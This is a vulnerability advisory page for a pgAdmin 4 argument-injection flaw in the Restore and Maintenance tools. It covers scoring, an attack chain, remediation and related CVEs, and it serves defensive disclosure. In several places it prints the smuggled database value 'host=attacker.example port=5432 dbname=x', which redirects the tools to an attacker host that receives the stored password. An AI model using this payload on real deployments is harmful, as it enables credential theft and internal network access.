Skip to main content

pgAdmin 4 CVE-2026-86862

| EUVDEUVD-2026-81694 HIGH
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (CWE-88)
2026-09-17 PostgreSQL GHSA-wvg3-mxwp-6pg5
7.1
CVSS 4.0 · Vendor: PostgreSQL
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as default-role pgAdmin user
  2. Delivery
    Enter connection-string as database field in Restore/Maintenance
  3. Exploit
    libpq expands value, overrides --host/--port
  4. Execution
    pg_restore/psql connects to attacker server with PGPASSWORD
  5. Impact
    Capture decrypted DB credential and pivot via SSRF

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
Exploitation Conditions

Requires an authenticated pgAdmin 4 session held by any user with the tools_restore or tools_maintenance permission - both granted by the default User role - and use of the Restore tool, or the Maintenance tool in releases after the quoting-helper wrapper was removed (earliest releases were unaffected for Maintenance). The attacker must be able to submit a client-controlled 'database' value; exploitation is limited to pgAdmin versions before 9.18 and yields credential capture only if the redirected endpoint (attacker-controlled host/port) is network-reachable from the pgAdmin host. No victim user interaction and no elevated/admin privilege are required beyond the low-privilege authenticated session.

Impact

This is a genuine, well-founded issue but not an emergency-tier one. The vendor CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N) correctly captures a network-reachable, low-complexity, low-privilege flaw whose only direct impact is confidentiality (VC:H) - the theft of a stored PostgreSQL credential plus outbound SSRF, with no integrity or availability damage. There is no EPSS score, no CISA KEV listing, and no public POC provided, so exploitation status is 'no public exploit identified at time of analysis'; this argues against imminent mass exploitation. The one signal that raises priority above the raw metrics is that PR:L here means any authenticated user with the DEFAULT User role (tools_restore or tools_maintenance) can trigger it - a very low authorization bar in typical multi-user pgAdmin deployments. No signals conflict: the network vector is consistent with the description (an authenticated web user drives pgAdmin to spawn a redirected libpq utility). The 'Information Disclosure' tag is accurate for the credential-capture impact but understates the accompanying SSRF primitive; neither KEV nor POC data is present to elevate this to active-threat status.

Exploit ScenarioDerived

A low-privileged but authenticated pgAdmin user (default User role) opens the Restore or Maintenance tool and supplies a crafted database name such as 'host=attacker.example port=5432 dbname=x'. libpq expands the equals-sign value into a full connection string whose embedded host/port override pgAdmin's intended --host/--port, so pg_restore or psql connects to the attacker's server while pgAdmin exports the decrypted stored password in PGPASSWORD, handing that credential to the attacker endpoint; the same redirection lets the attacker force outbound connections from the pgAdmin host to otherwise unreachable internal addresses (SSRF). No public POC is identified, but the technique is straightforward from the description.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Sep 17, 2026

Credential disclosure in pgAdmin 4 before 9.18 allows an authenticated user holding the default User role to redirect the Restore and Maintenance tools' database connection to a host of the attacker's choosing, causing the decrypted stored database password exported in PGPASSWORD to be presented to that endpoint and captured. The root cause is an argument-injection flaw (CWE-88) in the handling of the client-supplied 'database' field, which pgAdmin passes as the value of --dbname to pg_restore and psql; libpq expands any value containing an equals sign into a full connection string whose keywords override the --host and --port arguments pgAdmin supplies. No public exploit code has been identified at time of analysis and there is no CISA KEV entry, but the vendor has released a fix in 9.18; the assessed impact is confidentiality-only (CVSS v3.1 7.1, PR:L, C:H/I:N/A:N), requiring only a low-privileged authenticated session and no victim interaction, with exposure contingent on the attacker-nominated endpoint being network-reachable from the pgAdmin host.

Earlier versions of this analysis (1)
v1 Sep 17, 2026 - 16:08 CVSS 6.5

Authenticated pgAdmin 4 users can exfiltrate the decrypted stored database password and force outbound connections to arbitrary hosts by injecting libpq connection keywords into the 'database' field of the Restore and Maintenance tools. The injected value (for example 'host=attacker.example port=5432 dbname=x') is passed to pg_restore and psql as the --dbname argument, where libpq expands it into a full connection string that overrides pgAdmin's own --host and --port and receives the credential exported through PGPASSWORD. Any account holding the default-granted tools_restore or tools_maintenance permission can trigger this on pgAdmin 4 before 9.18; CVSS 3.1 base score is 6.5 (PR:L, C:H, I:N), and no public exploit was identified at time of analysis.

RemediationAI

Upgrade pgAdmin 4 to version 9.18 or later, which is the vendor-released patch and eliminates the flaw by passing the target database through the PGDATABASE environment variable (treated literally by libpq) instead of an expandable --dbname value; patch status is 'available from vendor' and the version boundary is confirmed by both the CVE and the EUVD affected range (<9.18). Where immediate upgrade is not possible, apply compensating controls with awareness of their trade-offs: remove tools_restore and tools_maintenance from the default User role and any non-administrative roles via pgAdmin role configuration, which stops exploitation but also removes legitimate backup/restore and maintenance capabilities from those users; enforce egress filtering on the pgAdmin host so outbound connections are limited to the intended PostgreSQL servers and ports, which blocks the redirection primitive but will also break legitimate connectivity to any additional database hosts; avoid storing server passwords in pgAdmin where a .pgpass file or other credential mechanism is available, since the leak depends on a decrypted stored password being exported in PGPASSWORD. If a vulnerable version was reachable by untrusted or low-privilege users, treat the stored database credentials as potentially compromised and rotate them, and review pgAdmin and PostgreSQL logs for outbound connections to unexpected host/port values. Additional vendor guidance is available at https://github.com/pgadmin-org/pgadmin4/issues/10388.

Affected VersionsENISA

pgAdmin 4 0 <9.18

Affected Packages

euvd pgadmin_4 fix: 9.18

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The issue sits at the boundary between pgAdmin's task-command construction and libpq's connection-string parsing. pg_restore and psql accept a --dbname argument whose value, if it contains an equals sign, libpq interprets as a conninfo-style connection string rather than a literal database name; keywords such as host=, port=, and dbname= inside that string take precedence over the separate --host and --port arguments pgAdmin also supplies on the command line. Because the 'database' field is client-controlled and was passed through without neutralization, a value like 'host=attacker.example port=5432 dbname=x' redirected the utility to an attacker-nominated server - a classic CWE-88 (Improper Neutralization of Argument Delimiters) insertion defect, compounded by pgAdmin exporting the decrypted stored database password into the PGPASSWORD environment variable before execution, so the redirected connection offers that credential to the target endpoint. The same redirection gives the pgAdmin host outbound connectivity to arbitrary network addresses, including hosts not reachable by the requesting user, adding a server-side request forgery dimension. Note that the Maintenance tool was only affected once a quoting helper that incidentally prevented expansion was removed; the Restore tool was affected from the introduction of the --dbname argument. The vendor fix sidesteps the parsing ambiguity entirely by supplying the real database name in the PGDATABASE environment variable, which libpq treats as a literal name and never expands, while passing an empty (equals-sign-free) --dbname value where pg_restore requires the argument to be present.

Know when Pgadmin 4 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (PostgreSQL) PRIMARY 7.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
vuln.today AI 6.5 MEDIUM

Network-reachable via the web UI with a low-privilege default-role account (PR:L, AV:N, AC:L); impact is credential theft plus SSRF, i.e. confidentiality only (C:H, I:N, A:N).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE 6.5 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Primary rating from Vendor (PostgreSQL).

CVSS VectorVendor: PostgreSQL

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

5
Analysis Updated
Sep 17, 2026 - 16:32 vuln.today
v2 - CVSS changed
Severity Changed
Sep 17, 2026 - 16:22 NVD
MEDIUM HIGH
CVSS changed
Sep 17, 2026 - 16:22 NVD
6.5 (MEDIUM) 7.1 (HIGH)
Patch available
Sep 17, 2026 - 16:02 EUVD
CVE Published
Sep 17, 2026 - 15:30 cve.org
MEDIUM 6.5

DescriptionCVE.org

pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.

The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.

The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.

This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

Executive ViewAI

Why It Matters

pgAdmin 4 deployments earlier than 9.18 can expose stored database credentials to an authenticated user with the default User role by redirecting Restore and Maintenance tool connections to an attacker-controlled host. This creates a confidentiality risk that could enable downstream access to connected databases, so leadership should prioritize confirming exposure, patching, and rotating potentially affected credentials. No public exploit identified at time of analysis, and there is no CISA KEV entry.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 90% exploitable
Prevalence
High
pgAdmin 4 is the de facto standard PostgreSQL administration GUI
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2024-2044 CRITICAL POC
9.9 Mar 07

pgAdmin <= 8.3 is affected by a path-traversal vulnerability while deserializing users’ sessions in the session handling

CVE-2024-3116 CRITICAL POC
9.8 Apr 04

pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) vulnerability through the validate binary path API. Rated cr

CVE-2026-12046 CRITICAL POC
9.5 Jun 18

Remote unauthenticated access to two SQL Editor endpoints in pgAdmin 4 server-mode deployments (versions 6.9 through 9.1

CVE-2022-4223 HIGH POC
8.8 Dec 13

The pgAdmin server includes an HTTP API that is intended to be used to validate the path a user selects to external Post

CVE-2024-9014 MEDIUM POC
6.5 Sep 23

pgAdmin versions 8.11 and earlier are vulnerable to a security flaw in OAuth2 authentication. Rated medium severity (CVS

CVE-2025-12762 CRITICAL
9.8 Nov 13

Remote code execution in pgAdmin 4 (versions up to and including 9.9) lets an attacker who can get a crafted PLAIN-forma

CVE-2026-12045 CRITICAL
9.4 Jun 18

Remote SQL injection via prompt injection in pgAdmin 4 versions 9.13 through 9.15 allows attackers who can write content

CVE-2026-17351 CRITICAL
9.4 Jul 31

SQL injection sandbox escape in pgAdmin 4's AI Assistant (versions 9.13 through 9.16) lets an attacker break out of the

CVE-2026-17566 CRITICAL POC
9.4 Jul 31

OS command injection in pgAdmin 4 (all versions before 9.18) lets an authenticated user with the commonly-granted tools_

CVE-2026-7813 CRITICAL
9.4 May 11

Authorization bypass and privilege escalation in pgAdmin 4 server mode allows authenticated users to access other users'

CVE-2024-4216 MEDIUM POC
5.4 May 02

pgAdmin <= 8.5 is affected by XSS vulnerability in /settings/store API response json payload. Rated medium severity (CVS

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise Module for Python 3 15 SP7 Affected
SUSE Linux Enterprise Server 15 SP7 Affected
SUSE Linux Enterprise Server for SAP Applications 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy